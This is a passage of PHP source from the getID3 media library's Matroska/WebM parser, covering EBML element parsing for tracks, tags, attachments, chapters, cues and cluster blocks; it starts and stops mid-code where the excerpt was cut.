strpos($trackarray['CodecPrivate'], 'vorbis', 1); if ($vorbis_offset === false) { $this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data does not contain "vorbis" keyword'); break; } $vorbis_offset -= 1; getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true); // create temp instance $getid3_temp = new getID3(); // analyze $getid3_ogg = new getid3_ogg($getid3_temp); $oggpageinfo['page_seqno'] = 0; $getid3_ogg->ParseVorbisPageHeader($trackarray['CodecPrivate'], $vorbis_offset, $oggpageinfo); if (!empty($getid3_temp->info['ogg'])) { $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info['ogg']; if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) { foreach ($getid3_temp->info['audio'] as $sub_key => $value) { $track_info[$sub_key] = $value; } } } // copy errors and warnings if (!empty($getid3_temp->info['error'])) { foreach ($getid3_temp->info['error'] as $newerror) { $this->warning('getid3_ogg() says: ['.$newerror.']'); } } if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $newerror) { $this->warning('getid3_ogg() says: ['.$newerror.']'); } } if (!empty($getid3_temp->info['ogg']['bitrate_nominal'])) { $track_info['bitrate'] = $getid3_temp->info['ogg']['bitrate_nominal']; } unset($getid3_temp, $getid3_ogg, $oggpageinfo, $vorbis_offset); break; case 'A_MS/ACM': getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); $parsed = getid3_riff::parseWAVEFORMATex($trackarray['CodecPrivate']); foreach ($parsed as $sub_key => $value) { if ($sub_key != 'raw') { $track_info[$sub_key] = $value; } } $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed; break; default: $this->warning('Unhandled audio type "'.(isset($trackarray['CodecID']) ? $trackarray['CodecID'] : '').'"'); break; } $info['audio']['streams'][$trackarray['TrackUID']] = $track_info; break; } } if (!empty($info['video']['streams'])) { $info['video'] = self::getDefaultStreamInfo($info['video']['streams']); } if (!empty($info['audio']['streams'])) { $info['audio'] = self::getDefaultStreamInfo($info['audio']['streams']); } } // process attachments if (isset($info['matroska']['attachments']) && $this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE) { foreach ($info['matroska']['attachments'] as $i => $entry) { if (strpos($entry['FileMimeType'], 'image/') === 0 && !empty($entry['FileData'])) { $info['matroska']['comments']['picture'][] = array('data' => $entry['FileData'], 'image_mime' => $entry['FileMimeType'], 'filename' => $entry['FileName']); } } } // determine mime type if (!empty($info['video']['streams'])) { $info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'video/webm' : 'video/x-matroska'); } elseif (!empty($info['audio']['streams'])) { $info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'audio/webm' : 'audio/x-matroska'); } elseif (isset($info['mime_type'])) { unset($info['mime_type']); } // use _STATISTICS_TAGS if available to set audio/video bitrates if (!empty($info['matroska']['tags'])) { $_STATISTICS_byTrackUID = array(); foreach ($info['matroska']['tags'] as $key1 => $value1) { if (!empty($value1['Targets']['TagTrackUID'][0]) && !empty($value1['SimpleTag'])) { foreach ($value1['SimpleTag'] as $key2 => $value2) { if (!empty($value2['TagName']) && isset($value2['TagString'])) { $_STATISTICS_byTrackUID[$value1['Targets']['TagTrackUID'][0]][$value2['TagName']] = $value2['TagString']; } } } } foreach (array('audio','video') as $avtype) { if (!empty($info[$avtype]['streams'])) { foreach ($info[$avtype]['streams'] as $trackUID => $trackdata) { if (!isset($trackdata['bitrate']) && !empty($_STATISTICS_byTrackUID[$trackUID]['BPS'])) { $info[$avtype]['streams'][$trackUID]['bitrate'] = (int) $_STATISTICS_byTrackUID[$trackUID]['BPS']; @$info[$avtype]['bitrate'] += $info[$avtype]['streams'][$trackUID]['bitrate']; } } } } } return true; } /** * @param array $info */ private function parseEBML(&$info) { // http://www.matroska.org/technical/specs/index.html#EBMLBasics $this->current_offset = $info['avdataoffset']; while ($this->getEBMLelement($top_element, $info['avdataend'])) { switch ($top_element['id']) { case EBML_ID_EBML: $info['matroska']['header']['offset'] = $top_element['offset']; $info['matroska']['header']['length'] = $top_element['length']; while ($this->getEBMLelement($element_data, $top_element['end'], true)) { switch ($element_data['id']) { case EBML_ID_EBMLVERSION: case EBML_ID_EBMLREADVERSION: case EBML_ID_EBMLMAXIDLENGTH: case EBML_ID_EBMLMAXSIZELENGTH: case EBML_ID_DOCTYPEVERSION: case EBML_ID_DOCTYPEREADVERSION: $element_data['data'] = getid3_lib::BigEndian2Int($element_data['data']); break; case EBML_ID_DOCTYPE: $element_data['data'] = getid3_lib::trimNullByte($element_data['data']); $info['matroska']['doctype'] = $element_data['data']; $info['fileformat'] = $element_data['data']; break; default: $this->unhandledElement('header', __LINE__, $element_data); break; } unset($element_data['offset'], $element_data['end']); $info['matroska']['header']['elements'][] = $element_data; } break; case EBML_ID_SEGMENT: $info['matroska']['segment'][0]['offset'] = $top_element['offset']; $info['matroska']['segment'][0]['length'] = $top_element['length']; while ($this->getEBMLelement($element_data, $top_element['end'])) { if ($element_data['id'] != EBML_ID_CLUSTER || !$this->hide_clusters) { // collect clusters only if required $info['matroska']['segments'][] = $element_data; } switch ($element_data['id']) { case EBML_ID_SEEKHEAD: // Contains the position of other level 1 elements. while ($this->getEBMLelement($seek_entry, $element_data['end'])) { switch ($seek_entry['id']) { case EBML_ID_SEEK: // Contains a single seek entry to an EBML element while ($this->getEBMLelement($sub_seek_entry, $seek_entry['end'], true)) { switch ($sub_seek_entry['id']) { case EBML_ID_SEEKID: $seek_entry['target_id'] = self::EBML2Int($sub_seek_entry['data']); $seek_entry['target_name'] = self::EBMLidName($seek_entry['target_id']); break; case EBML_ID_SEEKPOSITION: $seek_entry['target_offset'] = $element_data['offset'] + getid3_lib::BigEndian2Int($sub_seek_entry['data']); break; default: $this->unhandledElement('seekhead.seek', __LINE__, $sub_seek_entry); } break; } if (!isset($seek_entry['target_id'])) { $this->warning('seek_entry[target_id] unexpectedly not set at '.$seek_entry['offset']); break; } if (($seek_entry['target_id'] != EBML_ID_CLUSTER) || !$this->hide_clusters) { // collect clusters only if required $info['matroska']['seek'][] = $seek_entry; } break; default: $this->unhandledElement('seekhead', __LINE__, $seek_entry); break; } } break; case EBML_ID_TRACKS: // A top-level block of information with many tracks described. $info['matroska']['tracks'] = $element_data; while ($this->getEBMLelement($track_entry, $element_data['end'])) { switch ($track_entry['id']) { case EBML_ID_TRACKENTRY: //subelements: Describes a track with all elements. while ($this->getEBMLelement($subelement, $track_entry['end'], array(EBML_ID_VIDEO, EBML_ID_AUDIO, EBML_ID_CONTENTENCODINGS, EBML_ID_CODECPRIVATE))) { switch ($subelement['id']) { case EBML_ID_TRACKUID: $track_entry[$subelement['id_name']] = getid3_lib::PrintHexBytes($subelement['data'], true, false); break; case EBML_ID_TRACKNUMBER: case EBML_ID_TRACKTYPE: case EBML_ID_MINCACHE: case EBML_ID_MAXCACHE: case EBML_ID_MAXBLOCKADDITIONID: case EBML_ID_DEFAULTDURATION: // nanoseconds per frame $track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']); break; case EBML_ID_TRACKTIMECODESCALE: $track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']); break; case EBML_ID_CODECID: case EBML_ID_LANGUAGE: case EBML_ID_NAME: case EBML_ID_CODECNAME: $track_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']); break; case EBML_ID_CODECPRIVATE: $track_entry[$subelement['id_name']] = $this->readEBMLelementData($subelement['length'], true); break; case EBML_ID_FLAGENABLED: case EBML_ID_FLAGDEFAULT: case EBML_ID_FLAGFORCED: case EBML_ID_FLAGLACING: case EBML_ID_CODECDECODEALL: $track_entry[$subelement['id_name']] = (bool) getid3_lib::BigEndian2Int($subelement['data']); break; case EBML_ID_VIDEO: while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) { switch ($sub_subelement['id']) { case EBML_ID_PIXELWIDTH: case EBML_ID_PIXELHEIGHT: case EBML_ID_PIXELCROPBOTTOM: case EBML_ID_PIXELCROPTOP: case EBML_ID_PIXELCROPLEFT: case EBML_ID_PIXELCROPRIGHT: case EBML_ID_DISPLAYWIDTH: case EBML_ID_DISPLAYHEIGHT: case EBML_ID_DISPLAYUNIT: case EBML_ID_ASPECTRATIOTYPE: case EBML_ID_STEREOMODE: case EBML_ID_OLDSTEREOMODE: $track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_FLAGINTERLACED: $track_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_GAMMAVALUE: $track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']); break; case EBML_ID_COLOURSPACE: $track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']); break; default: $this->unhandledElement('track.video', __LINE__, $sub_subelement); break; } } break; case EBML_ID_AUDIO: while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) { switch ($sub_subelement['id']) { case EBML_ID_CHANNELS: case EBML_ID_BITDEPTH: $track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_SAMPLINGFREQUENCY: case EBML_ID_OUTPUTSAMPLINGFREQUENCY: $track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']); break; case EBML_ID_CHANNELPOSITIONS: $track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']); break; default: $this->unhandledElement('track.audio', __LINE__, $sub_subelement); break; } } break; case EBML_ID_CONTENTENCODINGS: while ($this->getEBMLelement($sub_subelement, $subelement['end'])) { switch ($sub_subelement['id']) { case EBML_ID_CONTENTENCODING: while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CONTENTCOMPRESSION, EBML_ID_CONTENTENCRYPTION))) { switch ($sub_sub_subelement['id']) { case EBML_ID_CONTENTENCODINGORDER: case EBML_ID_CONTENTENCODINGSCOPE: case EBML_ID_CONTENTENCODINGTYPE: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']); break; case EBML_ID_CONTENTCOMPRESSION: while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) { switch ($sub_sub_sub_subelement['id']) { case EBML_ID_CONTENTCOMPALGO: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']); break; case EBML_ID_CONTENTCOMPSETTINGS: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data']; break; default: $this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement); break; } } break; case EBML_ID_CONTENTENCRYPTION: while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) { switch ($sub_sub_sub_subelement['id']) { case EBML_ID_CONTENTENCALGO: case EBML_ID_CONTENTSIGALGO: case EBML_ID_CONTENTSIGHASHALGO: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']); break; case EBML_ID_CONTENTENCKEYID: case EBML_ID_CONTENTSIGNATURE: case EBML_ID_CONTENTSIGKEYID: $track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data']; break; default: $this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement); break; } } break; default: $this->unhandledElement('track.contentencodings.contentencoding', __LINE__, $sub_sub_subelement); break; } } break; default: $this->unhandledElement('track.contentencodings', __LINE__, $sub_subelement); break; } } break; default: $this->unhandledElement('track', __LINE__, $subelement); break; } } $info['matroska']['tracks']['tracks'][] = $track_entry; break; default: $this->unhandledElement('tracks', __LINE__, $track_entry); break; } } break; case EBML_ID_INFO: // Contains miscellaneous general information and statistics on the file. $info_entry = array(); while ($this->getEBMLelement($subelement, $element_data['end'], true)) { switch ($subelement['id']) { case EBML_ID_TIMECODESCALE: $info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']); break; case EBML_ID_DURATION: $info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']); break; case EBML_ID_DATEUTC: $info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']); $info_entry[$subelement['id_name'].'_unix'] = self::EBMLdate2unix($info_entry[$subelement['id_name']]); break; case EBML_ID_SEGMENTUID: case EBML_ID_PREVUID: case EBML_ID_NEXTUID: $info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']); break; case EBML_ID_SEGMENTFAMILY: $info_entry[$subelement['id_name']][] = getid3_lib::trimNullByte($subelement['data']); break; case EBML_ID_SEGMENTFILENAME: case EBML_ID_PREVFILENAME: case EBML_ID_NEXTFILENAME: case EBML_ID_TITLE: case EBML_ID_MUXINGAPP: case EBML_ID_WRITINGAPP: $info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']); $info['matroska']['comments'][strtolower($subelement['id_name'])][] = $info_entry[$subelement['id_name']]; break; case EBML_ID_CHAPTERTRANSLATE: $chaptertranslate_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) { switch ($sub_subelement['id']) { case EBML_ID_CHAPTERTRANSLATEEDITIONUID: $chaptertranslate_entry[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_CHAPTERTRANSLATECODEC: $chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_CHAPTERTRANSLATEID: $chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']); break; default: $this->unhandledElement('info.chaptertranslate', __LINE__, $sub_subelement); break; } } $info_entry[$subelement['id_name']] = $chaptertranslate_entry; break; default: $this->unhandledElement('info', __LINE__, $subelement); break; } } $info['matroska']['info'][] = $info_entry; break; case EBML_ID_CUES: // A top-level element to speed seeking access. All entries are local to the segment. Should be mandatory for non "live" streams. if ($this->hide_clusters) { // do not parse cues if hide clusters is "ON" till they point to clusters anyway $this->current_offset = $element_data['end']; break; } $cues_entry = array(); while ($this->getEBMLelement($subelement, $element_data['end'])) { switch ($subelement['id']) { case EBML_ID_CUEPOINT: $cuepoint_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CUETRACKPOSITIONS))) { switch ($sub_subelement['id']) { case EBML_ID_CUETRACKPOSITIONS: $cuetrackpositions_entry = array(); while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) { switch ($sub_sub_subelement['id']) { case EBML_ID_CUETRACK: case EBML_ID_CUECLUSTERPOSITION: case EBML_ID_CUEBLOCKNUMBER: case EBML_ID_CUECODECSTATE: $cuetrackpositions_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']); break; default: $this->unhandledElement('cues.cuepoint.cuetrackpositions', __LINE__, $sub_sub_subelement); break; } } $cuepoint_entry[$sub_subelement['id_name']][] = $cuetrackpositions_entry; break; case EBML_ID_CUETIME: $cuepoint_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; default: $this->unhandledElement('cues.cuepoint', __LINE__, $sub_subelement); break; } } $cues_entry[] = $cuepoint_entry; break; default: $this->unhandledElement('cues', __LINE__, $subelement); break; } } $info['matroska']['cues'] = $cues_entry; break; case EBML_ID_TAGS: // Element containing elements specific to Tracks/Chapters. $tags_entry = array(); while ($this->getEBMLelement($subelement, $element_data['end'], false)) { switch ($subelement['id']) { case EBML_ID_TAG: $tag_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], false)) { switch ($sub_subelement['id']) { case EBML_ID_TARGETS: $targets_entry = array(); while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) { switch ($sub_sub_subelement['id']) { case EBML_ID_TARGETTYPEVALUE: $targets_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']); $targets_entry[strtolower($sub_sub_subelement['id_name']).'_long'] = self::TargetTypeValue($targets_entry[$sub_sub_subelement['id_name']]); break; case EBML_ID_TARGETTYPE: $targets_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data']; break; case EBML_ID_TAGTRACKUID: case EBML_ID_TAGEDITIONUID: case EBML_ID_TAGCHAPTERUID: case EBML_ID_TAGATTACHMENTUID: $targets_entry[$sub_sub_subelement['id_name']][] = getid3_lib::PrintHexBytes($sub_sub_subelement['data'], true, false); break; default: $this->unhandledElement('tags.tag.targets', __LINE__, $sub_sub_subelement); break; } } $tag_entry[$sub_subelement['id_name']] = $targets_entry; break; case EBML_ID_SIMPLETAG: $tag_entry[$sub_subelement['id_name']][] = $this->HandleEMBLSimpleTag($sub_subelement['end']); break; default: $this->unhandledElement('tags.tag', __LINE__, $sub_subelement); break; } } $tags_entry[] = $tag_entry; break; default: $this->unhandledElement('tags', __LINE__, $subelement); break; } } $info['matroska']['tags'] = $tags_entry; break; case EBML_ID_ATTACHMENTS: // Contain attached files. while ($this->getEBMLelement($subelement, $element_data['end'])) { switch ($subelement['id']) { case EBML_ID_ATTACHEDFILE: $attachedfile_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_FILEDATA))) { switch ($sub_subelement['id']) { case EBML_ID_FILEDESCRIPTION: case EBML_ID_FILENAME: case EBML_ID_FILEMIMETYPE: $attachedfile_entry[$sub_subelement['id_name']] = $sub_subelement['data']; break; case EBML_ID_FILEDATA: $attachedfile_entry['data_offset'] = $this->current_offset; $attachedfile_entry['data_length'] = $sub_subelement['length']; $attachedfile_entry[$sub_subelement['id_name']] = $this->saveAttachment( $attachedfile_entry['FileName'], $attachedfile_entry['data_offset'], $attachedfile_entry['data_length']); $this->current_offset = $sub_subelement['end']; break; case EBML_ID_FILEUID: $attachedfile_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; default: $this->unhandledElement('attachments.attachedfile', __LINE__, $sub_subelement); break; } } $info['matroska']['attachments'][] = $attachedfile_entry; break; default: $this->unhandledElement('attachments', __LINE__, $subelement); break; } } break; case EBML_ID_CHAPTERS: while ($this->getEBMLelement($subelement, $element_data['end'])) { switch ($subelement['id']) { case EBML_ID_EDITIONENTRY: $editionentry_entry = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CHAPTERATOM))) { switch ($sub_subelement['id']) { case EBML_ID_EDITIONUID: $editionentry_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_EDITIONFLAGHIDDEN: case EBML_ID_EDITIONFLAGDEFAULT: case EBML_ID_EDITIONFLAGORDERED: $editionentry_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_CHAPTERATOM: $chapteratom_entry = array(); while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CHAPTERTRACK, EBML_ID_CHAPTERDISPLAY))) { switch ($sub_sub_subelement['id']) { case EBML_ID_CHAPTERSEGMENTUID: case EBML_ID_CHAPTERSEGMENTEDITIONUID: $chapteratom_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data']; break; case EBML_ID_CHAPTERFLAGENABLED: case EBML_ID_CHAPTERFLAGHIDDEN: $chapteratom_entry[$sub_sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_sub_subelement['data']); break; case EBML_ID_CHAPTERUID: case EBML_ID_CHAPTERTIMESTART: case EBML_ID_CHAPTERTIMEEND: $chapteratom_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']); break; case EBML_ID_CHAPTERTRACK: $chaptertrack_entry = array(); while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) { switch ($sub_sub_sub_subelement['id']) { case EBML_ID_CHAPTERTRACKNUMBER: $chaptertrack_entry[$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']); break; default: $this->unhandledElement('chapters.editionentry.chapteratom.chaptertrack', __LINE__, $sub_sub_sub_subelement); break; } } $chapteratom_entry[$sub_sub_subelement['id_name']][] = $chaptertrack_entry; break; case EBML_ID_CHAPTERDISPLAY: $chapterdisplay_entry = array(); while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) { switch ($sub_sub_sub_subelement['id']) { case EBML_ID_CHAPSTRING: case EBML_ID_CHAPLANGUAGE: case EBML_ID_CHAPCOUNTRY: $chapterdisplay_entry[$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data']; break; default: $this->unhandledElement('chapters.editionentry.chapteratom.chapterdisplay', __LINE__, $sub_sub_sub_subelement); break; } } $chapteratom_entry[$sub_sub_subelement['id_name']][] = $chapterdisplay_entry; break; default: $this->unhandledElement('chapters.editionentry.chapteratom', __LINE__, $sub_sub_subelement); break; } } $editionentry_entry[$sub_subelement['id_name']][] = $chapteratom_entry; break; default: $this->unhandledElement('chapters.editionentry', __LINE__, $sub_subelement); break; } } $info['matroska']['chapters'][] = $editionentry_entry; break; default: $this->unhandledElement('chapters', __LINE__, $subelement); break; } } break; case EBML_ID_CLUSTER: // The lower level element containing the (monolithic) Block structure. $cluster_entry = array(); while ($this->getEBMLelement($subelement, $element_data['end'], array(EBML_ID_CLUSTERSILENTTRACKS, EBML_ID_CLUSTERBLOCKGROUP, EBML_ID_CLUSTERSIMPLEBLOCK))) { switch ($subelement['id']) { case EBML_ID_CLUSTERTIMECODE: case EBML_ID_CLUSTERPOSITION: case EBML_ID_CLUSTERPREVSIZE: $cluster_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']); break; case EBML_ID_CLUSTERSILENTTRACKS: $cluster_silent_tracks = array(); while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) { switch ($sub_subelement['id']) { case EBML_ID_CLUSTERSILENTTRACKNUMBER: $cluster_silent_tracks[] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; default: $this->unhandledElement('cluster.silenttracks', __LINE__, $sub_subelement); break; } } $cluster_entry[$subelement['id_name']][] = $cluster_silent_tracks; break; case EBML_ID_CLUSTERBLOCKGROUP: $cluster_block_group = array('offset' => $this->current_offset); while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CLUSTERBLOCK))) { switch ($sub_subelement['id']) { case EBML_ID_CLUSTERBLOCK: $cluster_block_group[$sub_subelement['id_name']] = $this->HandleEMBLClusterBlock($sub_subelement, EBML_ID_CLUSTERBLOCK, $info); break; case EBML_ID_CLUSTERREFERENCEPRIORITY: // unsigned-int case EBML_ID_CLUSTERBLOCKDURATION: // unsigned-int $cluster_block_group[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']); break; case EBML_ID_CLUSTERREFERENCEBLOCK: // signed-int $cluster_block_group[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data'], false, true); break; case EBML_ID_CLUSTERCODECSTATE: $cluster_block_group[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']); break; default: $this->unhandledElement('clusters.blockgroup', __LINE__, $sub_subelement); break; } } $cluster_entry[$subelement['id_name']][] = $cluster_block_group; break; case EBML_ID_CLUSTERSIMPLEBLOCK: $cluster_entry[$subelement['id_name']][] = $this->HandleEMBLClusterBlock($subelement, EBML_ID_CLUSTERSIMPLEBLOCK, $info); break; default: $this->unhandledElement('cluster', __LINE__, $subelement); break; } $this->current_offset = $subelement['end']; } if (!$this->hide_clusters) { $info['matroska']['cluster'][] = $cluster_entry; } // check to see if all the data we need exists already, if so, break out of the loop if (!$this->parse_whole_file) { if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) { if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) { if (count($info['matroska']['track_data_offsets']) == count($info['matroska']['tracks']['tracks'])) { return; } } } } break; default: $this->unhandledElement('segment', __LINE__, $element_data); break; } } break; default: $this->unhandledElement('root', __LINE__, $top_element); break; } } } /** * @param int $min_data * * @return bool */ private function EnsureBufferHasEnoughData($min_data=1024) { if (($this->current_offset - $this->EBMLbuffer_offset) >= ($this->EBMLbuffer_length - $min_data)) { $read_bytes = max($min_data, $this->getid3->fread_buffer_size()); try { $this->fseek($this->current_offset); $this->EBMLbuffer_offset = $this->current_offset; $this->EBMLbuffer = $this->fread($read_bytes); $this->EBMLbuffer_length = strlen($this->EBMLbuffer); } catch (getid3_exception $e) { $this->warning('EBML parser: '.$e->getMessage()); return false; } if ($this->EBMLbuffer_length == 0 && $this->feof()) { return $this->error('EBML parser: ran out of file at offset '.$this->current_offset); } } return true; } /** * @return int|float|false */ private function readEBMLint() { $actual_offset = $this->current_offset - $this->EBMLbuffer_offset; // get length of integer $first_byte_int = ord($this->EBMLbuffer[$actual_offset]); if (0x80 & $first_byte_int) { $length = 1; } elseif (0x40 & $first_byte_int) { $length = 2; } elseif (0x20 & $first_byte_int) { $length = 3; } elseif (0x10 & $first_byte_int) { $length = 4; } elseif (0x08 & $first_byte_int) { $length = 5; } elseif (0x04 & $first_byte_int) { $length = 6; } elseif (0x02 & $first_byte_int) { $length = 7; } elseif (0x01 & $first_byte_int) { $length = 8; } else { throw new Exception('invalid EBML integer (leading 0x00) at '.$this->current_offset); } // read $int_value = self::EBML2Int(substr($this->EBMLbuffer, $actual_offset, $length)); $this->current_offset += $length; return $int_value; } /** * @param int $length * @param bool $check_buffer * * @return string|false */ private function readEBMLelementData($length, $check_buffer=false) { if ($check_buffer && !$this->EnsureBufferHasEnoughData($length)) { return false; } $data = substr($this->EBMLbuffer, $this->current_offset - $this->EBMLbuffer_offset, $length); $this->current_offset += $length; return $data; } /** * @param array $element * @param int $parent_end * @param array|bool $get_data * * @return bool */ private function getEBMLelement(&$element, $parent_end, $get_data=false) { if ($this->current_offset >= $parent_end) { return false; } if (!$this->EnsureBufferHasEnoughData()) { $this->current_offset = PHP_INT_MAX; // do not exit parser right now, allow to finish current loop to gather maximum information return false; } $element = array(); // set offset $element['offset'] = $this->current_offset; // get ID $element['id'] = $this->readEBMLint(); // get name $element['id_name'] = self::EBMLidName($element['id']); // get length $element['length'] = $this->readEBMLint(); // get end offset $element['end'] = $this->current_offset + $element['length']; // get raw data $dont_parse = (in_array($element['id'], $this->unuseful_elements) || $element['id_name'] == dechex($element['id'])); if (($get_data === true || (is_array($get_data) && !in_array($element['id'], $get_data))) && !$dont_parse) { $element['data'] = $this->readEBMLelementData($element['length'], $element); } return true; } /** * @param string $type * @param int $line * @param array $element */ private function unhandledElement($type, $line, $element) { // warn only about unknown and missed elements, not about unuseful if (!in_array($element['id'], $this->unuseful_elements)) { $this->warning('Unhandled '.$type.' element ['.basename(__FILE__).':'.$line.'] ('.$element['id'].'::'.$element['id_name'].' ['.$element['length'].' bytes]) at '.$element['offset']); } // increase offset for unparsed elements if (!isset($element['data'])) { $this->current_offset = $element['end']; } } /** * @param array $SimpleTagArray * * @return bool */ private function ExtractCommentsSimpleTag($SimpleTagArray) { if (!empty($SimpleTagArray['SimpleTag'])) { foreach ($SimpleTagArray['SimpleTag'] as $SimpleTagKey => $SimpleTagData) { if (!empty($SimpleTagData['TagName']) && !empty($SimpleTagData['TagString'])) { $this->getid3->info['matroska']['comments'][strtolower($SimpleTagData['TagName'])][] = $SimpleTagData['TagString']; } if (!empty($SimpleTagData['SimpleTag'])) { $this->ExtractCommentsSimpleTag($SimpleTagData); } } } return true; } /** * @param int $parent_end * * @return array */ private function HandleEMBLSimpleTag($parent_end) { $simpletag_entry = array(); while ($this->getEBMLelement($element, $parent_end, array(EBML_ID_SIMPLETAG))) { switch ($element['id']) { case EBML_ID_TAGNAME: case EBML_ID_TAGLANGUAGE: case EBML_ID_TAGSTRING: case EBML_ID_TAGBINARY: $simpletag_entry[$element['id_name']] = $element['data']; break; case EBML_ID_SIMPLETAG: $simpletag_entry[$element['id_name']][] = $this->HandleEMBLSimpleTag($element['end']); break; case EBML_ID_TAGDEFAULT: $simpletag_entry[$element['id_name']] = (bool)getid3_lib::BigEndian2Int($element['data']); break; default: $this->unhandledElement('tag.simpletag', __LINE__, $element); break; } } return $simpletag_entry; } /** * @param array $element * @param int $block_type * @param array $info * * @return array */ private function HandleEMBLClusterBlock($element, $block_type, &$info) { // http://www.matroska.org/technical/specs/index.html#block_structure // http://www.matroska.org/technical/specs/index.html#simpleblock_structure $block_data = array(); $block_data['tracknumber'] = $this->readEBMLint(); $block_data['timecode'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(2), false, true); $block_data['flags_raw'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)); if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) { $block_data['flags']['keyframe'] = (($block_data['flags_raw'] & 0x80) >> 7); //$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0x70) >> 4); } else { //$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0xF0) >> 4); } $block_data['flags']['invisible'] = (bool)(($block_data['flags_raw'] & 0x08) >> 3); $block_data['flags']['lacing'] = (($block_data['flags_raw'] 